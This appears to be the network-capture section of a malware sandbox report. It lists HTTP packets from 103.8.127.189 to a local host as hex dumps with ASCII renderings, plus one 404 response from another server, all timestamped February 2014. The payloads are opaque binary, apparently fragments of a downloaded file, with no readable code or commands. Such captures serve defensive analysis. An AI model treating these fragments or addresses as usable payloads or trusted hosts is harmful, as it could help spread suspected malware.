Feb 27, 2014 17:56:09.890300035 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 16 bd f1 ac 9b f4 8e 20 ec 39 27 29 13 9d 0f 0c 36 f8 64 60 b3 94 6a a5 a5 bd 86 ed 57 a9 2b ad 1f 15 d2 08 b7 7b 8c c1 92 b9 0e 4c 03 d9 68 68 a9 5d aa d5 f3 f9 ae 69 d6 94 0a 48 b3 94 42 29 26 99 0a aa dc f0 02 a9 97 b0 d6 48 b7 3c eb dc 97 9d Data Ascii: 9')6d`jW+{Lhh]iHB)&H<Zl,sU IC-'l<H~4'HW8 5yE@)W'HqU,hEH,`9i&=i'\|,JyRP"S4,_#a-C`ayJ,(VK	904
Feb 27, 2014 17:56:09.890305996 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 96 fc 0a 21 e9 fd 48 e4 05 c6 8a 28 f2 90 c6 2d 5b 94 c2 de 15 a9 49 0c e8 a9 49 c1 31 6d 9a ac 36 f5 e7 2d 37 f5 23 ed 15 01 1b b1 aa f8 e3 2c 9a 67 d2 a8 1b 79 9a a7 e7 f7 bb 20 17 b6 4a 91 b3 50 23 48 1e 7c 47 24 d2 94 f7 cc 0c 74 68 69 d6 fe Data Ascii: !H(-[II1m6-7#,gy JP#H\|G$thiX$'GN$'QEzJ{~<CF]Wz<<s]J<"DIP6M$7<~P7b jwF!*-hI!g")YI$~^=L,`q	906
Feb 27, 2014 17:56:09.890310049 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b3 75 94 2c 17 e0 90 2d 1e f9 53 0f 9f f9 53 53 fe b9 e6 ac 96 4f 02 a9 5e 1c b7 20 17 f0 8e 08 f8 55 0f 2c 7b 79 a7 04 97 79 23 12 3b f9 67 ae e0 f9 ee 2c 61 78 06 a9 5e f9 e5 49 93 58 27 df 7e 70 4a c4 73 55 a6 2c 97 f1 e4 ac f3 5d cb a5 61 91 Data Ascii: u,-SSSO^ U,{yy#;g,ax^IX'~pJsU,]aC@] ''IDqy_~F-6G6.Cy8J tL'V<DJzkd'DU\|HyQ(yH=SS!OQq!xlz='	907
Feb 27, 2014 17:56:09.901293039 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f8 f9 0a 24 97 3d f6 a5 76 91 4a ad 89 d4 ca 2c 73 15 8e ac b3 71 cb 53 f3 7c 43 e0 17 93 22 44 fb 79 84 2c 1e f9 0e 60 ff b9 ce 2c d2 44 4a a5 7b f8 26 17 9f f4 8f ac 7b 8e 8e 69 ff 5c 40 a5 17 98 83 c4 80 b1 26 c1 7a f9 ca a5 ba 79 ab 30 d3 79 Data Ascii: $=vJ,sqS\|C"Dy,`,DJ{&{i\@&zy0yJF&lz=IY~/lys0"7L.lzHsWX7DjIJ=VekNiNHYGH?.mNe7ojj7U	909
Feb 27, 2014 17:56:09.901299000 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b8 e9 c7 a9 9e 78 0a 09 12 9d b6 8c f3 54 eb e5 64 e9 46 00 ca d9 cb 21 13 b8 ad cc 10 91 f5 ab 87 e1 8a fb 67 66 ca 29 3b 18 8e ae 65 89 28 c0 e0 f0 02 c4 1a fb f6 cc a1 fc 75 ec 9a fc 02 ae fa 49 4d 44 e9 3d 83 c4 db ed 16 48 d6 d3 2a 2c 07 88 Data Ascii: xTdF!gf);e(uIMD=H*,"w,\|(l@UJ%5NjW]W6KjGy"@hI`]bS(9Kz?U(Ub_]Nl?KyK=	910
Feb 27, 2014 17:56:09.901309013 MEZ	80	1059	95.211.192.195	192.168.0.18	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 27 Feb 2014 16:54:41 GMT Content-Length: 0 Connection: keep-alive	910
Feb 27, 2014 17:56:09.901384115 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 16 5d ce a5 7e 20 ca bc 93 fb 57 ae 15 91 c2 41 97 13 ca ac 1e b1 4f 4b 5e 15 eb c8 13 fd 4f ac 34 42 ca 2c f3 51 0a 4b d3 f4 6f 00 24 79 63 ad 17 47 0f 28 d3 f0 d8 e1 7f f9 4b 84 a1 79 ca 6d d6 4d 4b ac 0c 75 57 a5 5a 91 cb 03 37 d5 ca 2c d3 15 Data Ascii: ]~ WAOK^O4B,QKo$ycG(KymMKuWZ7,WHa{v<C>]Z,sN.0xG,2FONfxN'\N_'@~J8<>NVGnly]y]$C5mnyD3HYh\|8J,[F@H@PMWKl	911
Feb 27, 2014 17:56:09.912201881 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 86 6c 7e 3f c7 a5 5f 15 ae 1f 17 f2 ca 0a 17 f2 22 6c e8 f8 82 2d 97 86 c8 f9 77 fe 4e 69 f3 d9 52 2d c4 79 2f e4 17 70 8e ec 72 b1 87 68 db e9 83 ec 9f f2 69 d5 d3 39 82 2c b0 31 af 0d ff 27 ca ac 12 79 f3 44 b3 bc 8a 76 97 79 46 ec d0 91 22 4c Data Ascii: l~?_"l-wNiR-y/prhi9,1'yDvyF"LJ!](!W#,\mUy"3,AW/X$y-\q<mxDW5jhR}\|Lx,GWJ,RG\|37^*<.hRoaGyTC=#Q6j	913
Feb 27, 2014 17:56:09.912206888 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4b ad 7f 94 4a 48 86 7d 6a 2d 7e 27 c3 a5 87 d1 a1 8d b7 f3 c1 0c 57 35 4e 61 27 09 c0 6d aa f1 86 08 33 78 b4 9c 51 11 8c 5c 61 5d 6d ae 9b 39 49 5d f7 f8 a6 28 f4 f1 ca 48 df a9 0f 44 93 58 c6 8c bf 91 67 e5 22 29 5f e4 e8 f3 0f 9d 63 b1 2a a4 Data Ascii: KJH}j-~'W5Na'm3xQ\a]m9I](HDXg")_c*yO7X(iJ=-K}-uJ-'zWD}#</R"Vwv$\|uZanl9L(8<ChViTdx3,^eHO,!#D8C_FaR	914
Feb 27, 2014 17:56:09.912209988 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 23 57 96 79 63 c4 e0 78 4a 2c 97 9c f6 cd 1e 91 43 ac f5 99 43 ed b6 9d 03 c4 15 15 4b 9c b6 b0 b9 2d 53 11 6a 2c bc 11 ca 09 17 3f cb e1 17 38 83 6c 7f 91 07 d6 7a f9 27 2d 96 f3 43 60 b3 79 4a 11 96 38 ce 61 1b 35 43 ac 96 f0 75 6d 93 30 0a de Data Ascii: #WycxJ,CCK-Sj,?8lz'-C`yJ8a5Cum0},q-J$=aP]I9#X,1=JYi=UCJ~9HASh,!-yJ(CnPL(PqzHuC_BzQ,9.S	915
Feb 27, 2014 17:56:09.923176050 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 53 be ab 68 97 fc ca 83 57 f0 0b 48 fe 7c 8a f2 16 b9 09 6d d7 18 a2 2d d6 11 7a 0e 92 11 ca ec 1b b9 34 53 b3 f9 e2 6c 7a 2d cf 88 f7 3d 4a fe 97 f0 2a a5 f0 1d ee ac 93 f8 3c c0 7a 1d ae a8 06 b9 5b 24 ea 39 4a b8 6a 5d 43 bc 13 5d 6d 08 97 e2 Data Ascii: ShWH\|m-z4Slz-=J<z[$9Jj]C]m%mG`H]K.I<K~$zu'I]OlzJ}FV%~y7uY9KB84(=J`]z\|f%tOJzk-5u}"4,~yWWG,_	916
Feb 27, 2014 17:56:09.923182011 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 2a f9 86 a4 da 71 2d a8 5e 1c 4a 04 d2 f4 47 2c 7b 0d 27 8c 7a 91 8b a1 7b a9 57 d2 fa fd 02 2c a7 95 4b 41 53 5d ca ac f3 74 43 66 db 75 47 69 13 46 0e ec 07 ec 8a c4 bb 34 58 da b7 7f 26 5a b7 fd 47 53 12 d5 ca c0 67 89 4a 9a 38 fb 7c a5 db f9 Data Ascii: q-^JG,{'z{W,KAS]tCfuGiF4X&ZGSgJ8\|( Hu,GoHqG`IL#q^%q,OU'HtKyHNI-12.&$E~J'Kqa,] V"~OZ~<l	918
Feb 27, 2014 17:56:09.923424959 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c0 d9 87 c0 7f b1 94 2c 0d fc 35 ad 37 4c ea 70 57 90 82 a5 fd 78 3a ad da 26 26 05 d2 95 58 af 17 46 4b 49 73 79 fd ed 7f f9 8a c1 43 1c 26 c4 36 a7 68 08 57 be 34 61 7b 98 6c a4 df fd ca 46 85 90 ce c1 f2 9d 4f ac 1e 3c c6 c1 8b 1c 26 a5 93 34 Data Ascii: ,57LpWx:&&XFKIsyC&6hW4a{lFO<&41yIWlY($A*<.:1\|?Y'"s:IhL'I}MeQsIpO4;B0CJyK{F,y%4&Xmzi}Jl7z'U	919
Feb 27, 2014 17:56:10.444201946 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1b f8 6c 40 17 71 ca 48 2a 74 27 48 9f b9 89 c1 92 dd aa b0 97 79 ae ac ad 71 ca ad fb 01 ce 2c 17 1d c7 5b 7a 1d ce c1 1b f1 cf c8 f7 39 71 ad f3 7d a1 ec 97 f8 e6 2c f4 1d 0a ad 4f f9 27 48 9e 94 52 08 7a 7c 42 c8 10 19 ca a0 39 5d ca 60 17 b8 Data Ascii: l@qH*t'Hyq,[z9q},O'HRz\|B9]`hCvllzJ=u,yHY']$CB((j-~q0Hg,X+l9^$L9^WXN^8W!OW}1,neYS#YSYHy',D	920
Feb 27, 2014 17:56:10.444211960 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: be b1 aa 60 7a 79 d2 44 f5 b0 7c b3 da 35 43 bc b4 f8 43 fc 65 f9 4b c2 73 91 4b c0 c8 1d 4b ac 18 96 8b 68 1e 1c 43 24 16 19 c6 65 12 9d c7 a8 dc 5d 0b 5d 58 f8 a6 28 96 36 db b5 a9 fb 4f fc 95 26 ca 69 7a 7c 8b ad c7 f3 ca 67 9a dc 8f 20 9f d8 Data Ascii: `zyD\|5CCeKsKKhC$e]]X(6O&iz\|g GNEd&H<J"'M`%WGD>@=QzNDJ(J<,Y$iY\|}>9'C9}1PsIpD}\|9\|n, y ]u-@	922
Feb 27, 2014 17:56:10.444216967 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d2 79 cf a2 17 fc 03 49 17 08 ce a9 57 1c bb 24 16 f9 22 c1 e7 94 27 41 f3 f9 4a 2c 1e 9c 4f 0f 73 11 a7 ac be e4 86 08 9b d1 bf 80 17 bc 8a 2c 7c f0 2b 21 d2 f9 d1 68 b3 75 4f 5b 57 1c 4a 28 f3 ef e3 24 f3 31 3d ad 17 8d ce 6b 1e 9c 23 69 9e fd Data Ascii: yIW$"'AJ,Os,\|+!huO[WJ($1=k#ifD#zYGi]MIy-J,OCW!Wp#+JH}Eu>#()DJC$~wkbxJd5J,&w'z'A@PH}dOW=B9J	923
Feb 27, 2014 17:56:10.444220066 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 15 ee 28 ca 79 af 28 17 f0 98 40 b3 71 23 da 3e f9 4f c1 f2 08 c6 a5 da 79 5b ed 57 75 70 81 55 69 43 e5 7f f9 a1 6d be 79 ca 37 1e bc 4a 65 db 59 87 61 16 bd 51 8c 9b b9 c2 2c f8 79 56 69 aa b0 ca b0 1e d7 ca b0 b3 ce ca b0 f2 bf 37 2c 0b b8 Data Ascii: (y(@q#>Oy[WupUiCmy7JeYaQ,yVi7,E{,=J2Ybyq,qFWJjDGO]yQL0yVS'H]mXiaK[I,j],$.y#'IN9~ug	924
Feb 27, 2014 17:56:10.444222927 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f6 7c ea ac 9f b9 23 cc 97 0e ca 2c 1f 11 ce 53 d7 be 47 53 d3 5d 0a 00 d7 04 27 4d 93 79 08 44 86 4a 7f 48 ea 99 ca e0 a8 51 9a aa 8f 28 6e 4d c7 c4 9a ac bf 06 9a ac 1b d5 0d 7c 17 a9 14 a1 13 5d 3d ae b7 a9 59 c3 9a dc c7 48 9d f8 da 2b ba 0f Data Ascii: \|#,SGS]'MyDJHQ(nM\|]=YH+C#HJ!2~xF19oS\|J RX>yy"_<zN]7jgQyh}zI~JG(NCC,jIG(/\|	926
Feb 27, 2014 17:56:10.444343090 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9f f4 3d 68 b3 59 6e 6c e2 f9 d0 20 ea f8 d0 53 9a f9 67 2d 97 56 4f ec 9a fc 4a 55 57 fd 0a 49 ea 71 eb 2c 57 1d c4 a5 13 5d c2 2d 19 91 63 51 7b 79 48 13 97 d0 c8 cf 1f f9 f5 24 d7 30 af d1 7f 11 4a 2d 96 c2 ca 2c 1a fd b5 ac b3 75 cb 2c c8 79 Data Ascii: =hYnl Sg-VOJUWIq,W]-cQ{yH$0J-,u,yDx,}`uj,&FTFCHyJ1 ^a<lNLjWEW8GX]N-C9J&;xy@BJG`Vor]a*dy$5PJ{m	927
Feb 27, 2014 17:56:10.444346905 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7a 74 4e 0d 39 b9 6a ac 73 45 8e 6c 97 74 d0 a9 13 70 ca 8c 77 f0 a2 2c fa 90 48 a1 d6 a2 43 29 16 13 22 24 07 74 4a d6 7e b8 86 05 52 74 42 a9 2d 98 6b ad 1a 31 22 a5 17 2f 06 6d 1a 3c c4 24 1e f9 86 08 e0 5d 8a 44 b7 22 1e c4 72 d8 4c a8 16 c3 Data Ascii: ztN9jsEltpw,HC)"$tJ~RtB-k1"/m<$]D"rLnJiqC<NSNmKm$Y^xO=OJD'H8E/,[IV"V9kyTCs'yIdW5j92<((9K,=,18`7n%h/BKR$	929
Feb 27, 2014 17:56:10.444351912 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 1e 8a eb 95 96 5e 0c e8 79 25 60 97 96 66 48 ee e8 c8 c3 9a fc 27 bd 05 9d 8e 5f 97 5d ea 2c 9a 03 4e c8 36 77 4b 8c 67 1a ee 04 1a 35 a5 08 1e 99 7a 7a 32 39 02 93 96 3d c2 a4 d7 54 22 6c 60 0a ca 44 96 79 67 40 17 b0 8a 2c ec 1b 4f 8c d2 91 Data Ascii: ^y%`fH'_],N6wKg5zz29=T"l`Dyg@,O #\|'-WK~9'H")Iiy\^eYz*!g5H$xu7"[)KB$gjqjPi9V}LvI#ukdXD$LLq	930
Feb 27, 2014 17:56:10.444387913 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0f 55 f7 28 96 95 0a 92 d3 42 ee ac bf 74 6f 54 de 95 43 ec 17 b0 c7 89 b6 f0 cc e5 7f f9 26 8d a3 94 27 a5 53 f3 00 6c 96 aa e6 ac 18 06 e2 ac 16 16 0a 00 1e 79 43 4a d3 39 57 52 77 71 22 29 b7 0f c9 87 56 c7 c7 bc 13 78 ca 12 97 fa 0b 56 53 f0 Data Ascii: U(BtoTC&'SlyCJ9WRwq")VxVSx# tNHeit4-5K#zq DpGh]lz?=Z ',1CsHC~][",nSzIly	931
Feb 27, 2014 17:56:10.444567919 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d6 ea 63 c0 96 79 6a c3 97 f4 4e 08 96 e5 ca 53 15 bd ca ab a8 30 af c5 1e 2f 4b ec 06 f0 b4 40 b3 39 43 da 37 91 23 40 1e 17 0a 83 16 07 4a c4 7a 1c 82 e8 ff 39 47 bc 13 74 ee ac 97 fc ca 65 7f 79 0b 70 37 94 27 a1 14 d9 72 a4 7f 0e cb 8c 1f 06 Data Ascii: cyjNS0/K@9C7#@Jz9Gteyp7'rNYOLsyl.NPYlT.;n(J=G]5~yN9UG,^J9rwCR/NMm HFHYX31VSj	932
Feb 27, 2014 17:56:10.444572926 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 74 75 e2 c4 53 24 c3 3d 51 b9 02 a9 5e 1d 3b 65 57 ac e8 0c 5e 91 62 ac ac 29 78 c4 26 ec 4e 60 88 89 4c 64 88 f0 07 a5 17 7d e2 ad 57 79 cb 06 52 e9 22 65 9e 85 aa 9d 57 46 ae ac b3 f0 cf c6 96 7d 8f 6d 51 5d 6a fe c5 71 43 c2 93 f9 43 83 17 f0 Data Ascii: tuS$=Q^;eW^b)x&N`Ld}WyR"eWF}mQ]jqCC-RP(thqJ-d>D)L9C~9yK#^XP?atB-+C`+-vNJZC 'HD,c'WR![,6o@`yK}L.<-"	934
Feb 27, 2014 17:56:10.444576025 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 13 5d 4a a4 97 06 ca 2c d7 f4 bd ac d3 5d 82 6c ea f4 86 08 17 1d b7 c4 db f8 cb 67 97 f9 43 68 b3 06 c2 a9 57 1d 5e d1 9a f8 e2 a8 16 51 43 40 b3 f9 ce 71 12 94 a7 24 d4 f0 5a 60 b3 71 97 ac 1f 7d 97 44 17 75 47 68 aa 5d 86 65 7f f9 9d c0 3f 94 Data Ascii: ]J,]lgChW^QC@q$Z`q}DuGh]e?'B;9Jhl5J ,FNKHC^]JBHn&JF,S]H3U]H3"fNW(#NqJ:]J YH9CW5zn,!j,n]sWy'H>Yh	935
Feb 27, 2014 17:56:10.444577932 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7f fc 16 2c 4f f5 8b 6d 37 fd 2a 0e d2 99 8a 59 16 d9 44 c4 e8 b0 a6 2d 97 76 6a a5 7f fc 27 30 b7 df af c5 17 75 4f c8 fa 09 ce 0d 7a f9 eb 6c 73 11 c7 a1 38 3c 2a e0 de 91 3d 44 f7 ff ca 18 d2 b9 c6 d3 d7 f4 8f e0 97 f9 87 2c 77 86 22 a0 fb 78 Data Ascii: ,Om7YD-vj'0uOzls8<=D,w"xlQ }WYm9iGT\|t[KVf/aWq{@pC;CZRB_U~4w37m7x(J(Lfe-:d\zZn@yp-yp	937
Feb 27, 2014 17:56:10.444581032 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 57 39 4a ed 1e 03 af c4 16 34 b1 ac 7b 94 ea ec 54 91 06 a9 17 94 a2 c1 56 38 8b 89 d6 e9 8f a5 5e e0 ba 8e 9b 26 8e ac d2 fc 03 a0 f3 1d 42 25 d7 a3 4e e5 f3 15 bc dc 11 a9 da ac 97 f9 23 71 ba 1c c3 44 17 27 ca 64 1e 3d d5 08 97 f9 23 29 cc f9 Data Ascii: W9J4{TV8^&B%N#qD'd=#)# j-FgU@yJD<C"NzCmJxl'mm4-/S,rBQJY,G$(01O{`uN^Jd%	938
Feb 27, 2014 17:56:10.447377920 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 56 78 81 49 9b 91 eb f3 17 79 ca 2c 13 06 0a 48 96 f9 4a 7f 5e 78 0f 29 ac d5 cb ad 01 b8 a6 6d 97 92 42 ac 03 fd 9f 68 97 92 fa 29 77 19 8e ac 45 79 86 65 56 3b eb e5 17 11 c2 97 1e b8 82 84 a4 f9 cb 48 9e b8 97 c4 b2 59 4a ad c9 d1 27 c5 97 83 Data Ascii: VxIy,HJ^x)mBh)wEyeV;HYJ'1{FJm~yH[P^q}ItlJ,ww'')4zY`Vj-=(=Jvmh1}cdZ,KHyJ`q'4'zCS5(r,0"(?	940
Feb 27, 2014 17:56:10.447386026 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: a9 b1 ca a8 b8 b9 7c 6c f9 b9 7c ad 17 07 26 2c 1e b0 90 c4 7b b1 c6 2c cd f9 4b a8 fc f9 49 c5 35 17 ea a4 1e 07 cb 6c 4f 55 ca 8c 1e 1d ee cb 93 99 57 cb 96 78 ea ff 30 59 4b e8 93 12 aa ba 17 71 f7 c0 57 f8 8e 87 b3 f9 e2 2c 16 03 0a 24 1f 3d Data Ascii: \|l\|&,{,KI5lOUWx0YKqW,$=QYJ}WS)tZq&3uOvkCSO^,"S9KwX7tnpJ`y,G{Om/UWIWGS\|9AdJ	941
Feb 27, 2014 17:56:10.447387934 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 06 16 ce e5 37 78 ca 03 1e fd 28 9c 16 5d be 57 1f 89 46 dc 65 f5 da a2 16 ea 79 1c 03 31 e4 ac 30 3c 3a 98 77 19 5e 8c d3 79 23 04 ae 89 41 20 e2 f9 42 69 9e 55 ef 0c f7 7c ca 49 13 78 43 a0 1b d2 1a af 17 f4 b5 69 9f 39 22 2b 9b ff 07 dc 32 a8 Data Ascii: 7x(]WFey10<:w^y#A BiU\|IxCi9"+2YJ-)Zi{K0Neg-=GJHIU9nl\H- D`HHNJA^&-V8iJ<(R\|*,"!_gHZF	943
Feb 27, 2014 17:56:10.447391987 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b9 f1 e7 2c a1 79 5d 49 ea 7c 4b ac 5b 94 a2 c5 9f 58 03 1f 17 38 e3 ed 9a 37 8e cd d2 f9 43 7e 5e 91 ee c0 af 94 4a c1 da f0 48 e8 db 30 43 ac 95 9c 87 ec 9f 22 ca ad 1f 95 8a 43 15 6e ae 08 d7 f0 4a da 5e 58 0a a5 58 35 ee 2d 17 6e e3 68 97 f4 Data Ascii: ,y]I\|K[X87C~^JH0C"CnJ^XX5-nh-`J'_${y.\|c\Ghq,({9"-vOWW#kH9z WCh\|]X`f>jwR;_<*8\|HLWtOU=h7.0=Gl`y	943
Feb 27, 2014 17:56:10.447396040 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 ec ae 61 17 7d 6a 2d 7e 27 aa ac fb f9 ee 1b 96 79 c7 a8 2c 70 ca c1 7a 94 0a a1 16 11 ce 37 10 19 c3 8c 2f 19 6e 53 b7 f4 63 4c 51 0a 48 ce 17 60 22 03 7e 19 5f 13 17 b9 a2 00 fe 2b 2a 04 1a f9 86 f3 b3 71 a2 2c cc 38 4a 6c 1e b4 10 2d b2 91 Data Ascii: a}j-~'y,pz7/nScLQH`"~_+*q,8Jl-YI"?Chk]1{NiBI9(9=ulVL7}K.yal#:&h88JiQ^=ODl,R2R-y,L,p	945
Feb 27, 2014 17:56:10.447398901 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f3 39 43 a8 0d 3d 2a ff 88 1d cb c8 d3 b9 08 25 96 1c ee da 46 db bd ac 1f 3d c3 00 b2 59 aa 2c 6f 1d 42 25 17 f7 3a a7 1f f7 ca 9f 7f f1 42 25 64 fa 44 24 d3 f0 38 bc 5e 91 27 cd 07 bd 43 e0 1d d9 22 e1 3a 78 b9 3c 04 5d 85 bf 25 ec ca c5 be 54 Data Ascii: 9C=*%F=Y,oB%:B%dD$8^'C":x<]%T!f6CTIVPv9~`<'{F]JwgH)ZJu8,}'tHzZWogdxaG`_:4Y@['O]j@z	946
Feb 27, 2014 17:56:10.447402000 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 77 91 69 e8 1e e9 ca 2c d8 11 ca 8e 84 f4 4a ac 37 78 99 2c 97 f4 8f 53 17 b1 8a 44 7a a1 22 e0 fe f9 cb 57 97 fc 0a 40 eb 74 4a a1 d2 b1 37 84 13 30 8e ac 29 79 8a a1 1a 26 0a c1 17 94 27 fc 7f d5 a6 2d fc f8 ca a2 9a 07 4f ec 13 b9 35 ac f2 70 Data Ascii: wi,J7x,SDz"W@tJ70)y&'-O5pdCyJ,O~'zXqe&1iJdKAxJ3YCh=}qH9'\|LOJAlBnxzy`0O,T& xjm#WS]	948
Feb 27, 2014 17:56:10.447403908 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: db 34 83 65 06 30 0a 24 17 79 25 6d d2 3d 43 be f3 f9 ee 2c b6 8d 03 69 1e 90 4a a5 f3 f8 e6 2c b5 1c e2 ac 1e b8 22 81 b3 5d 2a f6 17 71 c7 89 57 5b 43 20 52 e9 2e 13 12 39 aa c4 93 bc 2a ac 12 06 8a 2c b6 b4 b9 0d 17 35 ce 0d bb bc e3 ed f3 f9 Data Ascii: 4e0$y%m=C,iJ,"]qW[C R.9,5)KpJLZ'HqWljwgJH4B4BXGC$V9Wu"#-'3J]3+$ Y@x(\|PJJj$1S@5]Eqa (dx	949
Feb 27, 2014 17:56:10.447407007 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f3 d4 79 19 93 bb 27 8c 33 91 49 08 37 f9 57 a5 07 34 c2 84 8b b9 17 2c 18 f8 4a e1 7a f8 e8 e0 7a f0 cb ac 9d 74 6f 64 db 76 ae 05 17 b1 ae 25 db 31 ae 05 7f b9 02 49 9b 91 dd cc 87 a6 4a ec 13 b9 c7 a8 ec 99 ba b8 a8 d9 a2 2c df 1d ec 5c 43 79 Data Ascii: y'3I7W4,Jzztodv%1IJ,\Cy#,jrKt<4WH\|Kl=%g]A-S[}',z7y\|V+-yJ1G1w'8wKLtNeVk8j-7yH\|Gl=%YGEx"{J	951
Feb 27, 2014 17:56:10.447537899 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 b8 8f a5 71 95 4b c8 7f f9 a7 ad 7b 11 8b 10 d2 3d 4a 69 7f ba 4e a5 97 79 05 ac ff 79 a2 0d b8 7c e6 48 27 91 1d 8c 5a f9 83 6c 3a 94 f5 ac f2 7d 8a c5 78 11 cb 2c 17 79 35 44 76 94 cf 3d bb 78 0a 94 5c 39 27 29 bf bc 4a ae 17 91 65 64 bf 79 Data Ascii: qK{=JiNyy\|H'Zl:}x,y5Dv=x\9')Jedy!,#x,=KJ$H]m/tGZUy#{NyBCSDNywfG#(Nz]')KJ14Y61W{VqJVRp}B,	952
Feb 27, 2014 17:56:10.447542906 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9f d7 06 7c 0c 86 cb e8 96 f9 0b 07 be 91 ab 21 05 f8 4a 61 7b 94 fe 8c 96 90 c7 ac 6c 58 0a 6c 56 c7 43 49 1f 91 4b 12 37 f8 ea 7c 57 91 4e e5 d3 19 01 ed 1f f3 cb 00 07 90 ae 75 d2 b9 4a 71 d6 55 4a cc f3 24 e7 00 57 1d 13 ac be 55 0b 48 4e 5c Data Ascii: \|!Ja{lXlVCIK7\|WNuJqUJ$WUHN\JENHUJuUUuW$d$JIuJsx'OHtWEOUis*(59D"hWf=iz=Jw0Ra07$oZ{B\|C	954
Feb 27, 2014 17:56:10.447546005 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 46 f7 42 68 1e fd e7 28 76 aa 4f c1 ab 74 4e 24 1f 79 f9 4c 26 74 b3 0c 36 ef 33 fd 0a 04 0f ec 17 d9 5b fc 0a 69 c6 28 03 ba 27 2c 40 ed 8a ae 57 46 ae 9c f7 f0 ef f5 77 f5 da b8 73 1d 0a 48 d1 f0 46 08 5b f9 cc 2c 97 50 b7 40 93 1d c6 19 b7 f1 Data Ascii: FBh(vOtN$yL&t63[i(',@WFwsHF[,P@JavP=kFJRu#B`fyHxJhP\,5F!`(QBQezjsI6:!2]/eFCHGhx]l/JiiFJ,z(t]\|fi=	955
Feb 27, 2014 17:56:10.447771072 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ff 69 ce 6c 1e 4e ea 2c 1e 0e ca 8f 53 f4 b5 0c 46 39 b7 a1 57 f8 b5 65 17 f3 cf ed d7 f7 ca 77 b7 c1 ca c8 07 35 ee 28 aa d9 25 28 e0 58 Data Ascii: ilN,SF9Wew5(%(X	955
Feb 27, 2014 17:56:10.466320992 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ca ec 7e 7c 71 c4 b7 b9 ca df 1e b9 77 53 9f 39 49 d1 bf 11 ce a4 ff 97 ca 4c 11 06 ee 6c 1a 3d 8e 73 f7 c2 8e 58 7a 79 5c ac 83 a9 4f ec a8 1d 6a af 58 b9 46 e1 15 22 ca af b3 8e c2 c4 b2 79 5a d3 97 79 42 6e 6e 71 f7 c4 17 dd 0a 2d d4 79 4e e5 Data Ascii: ~\|qwS9ILl=sXzy\OjXF"yZyBnnq-yN-'yjhzIaaXi&sBjw=^yh]Z,x]NlyC9jD },e\|Kv]J,!4#YOlyQxJIz'sI]JU3j%to$	957
Feb 27, 2014 17:56:10.466337919 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e3 48 b3 2e 6a 0c f3 79 8e 7c b7 df ee b3 17 94 cf c4 f7 ed 8e 2c ba bd ca 1a b7 6c af 51 db a9 0c 13 5e b9 4e 2c 4a 39 1d a5 e1 49 7a 6d 93 0c 8b 4c 33 c6 e2 c1 b7 69 40 8a f7 28 5f ec 5b 04 eb 8c 22 d6 c6 09 76 9b 8f 7c 16 d6 c2 bc 92 96 ca ea Data Ascii: H.jy\|,lQ^N,J9IzmL3i@(_["v\|P=Ocz}[xW+NDviL"V.Phz742uD`~C+7-~?J^8KLymxD9L]*'I\|S3v;	959
Feb 27, 2014 17:56:10.466486931 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7a 48 de f9 23 f0 bb f9 ae 68 17 6e 23 0d f3 34 4a 9a 17 90 a6 48 d6 31 4a ac 7e 51 f8 48 d2 f9 23 d0 17 5c ae 6c 17 66 23 04 f3 f9 e3 98 17 90 e3 48 da 5d 0a ac 7e 5c 79 48 b6 79 52 05 07 1d e6 ac 08 f9 46 09 11 f9 5a c5 b3 1d 83 ac 96 54 fb 48 Data Ascii: zH#hn#4JH1J~QH#\lf#H]~\yHyRFZTHtHox_Uakk#,k4V,v$~Y'zJ!3R`_"-+)U:,O)zlz#%x7T~NizFD#23W,7W,7H~zSyq	960
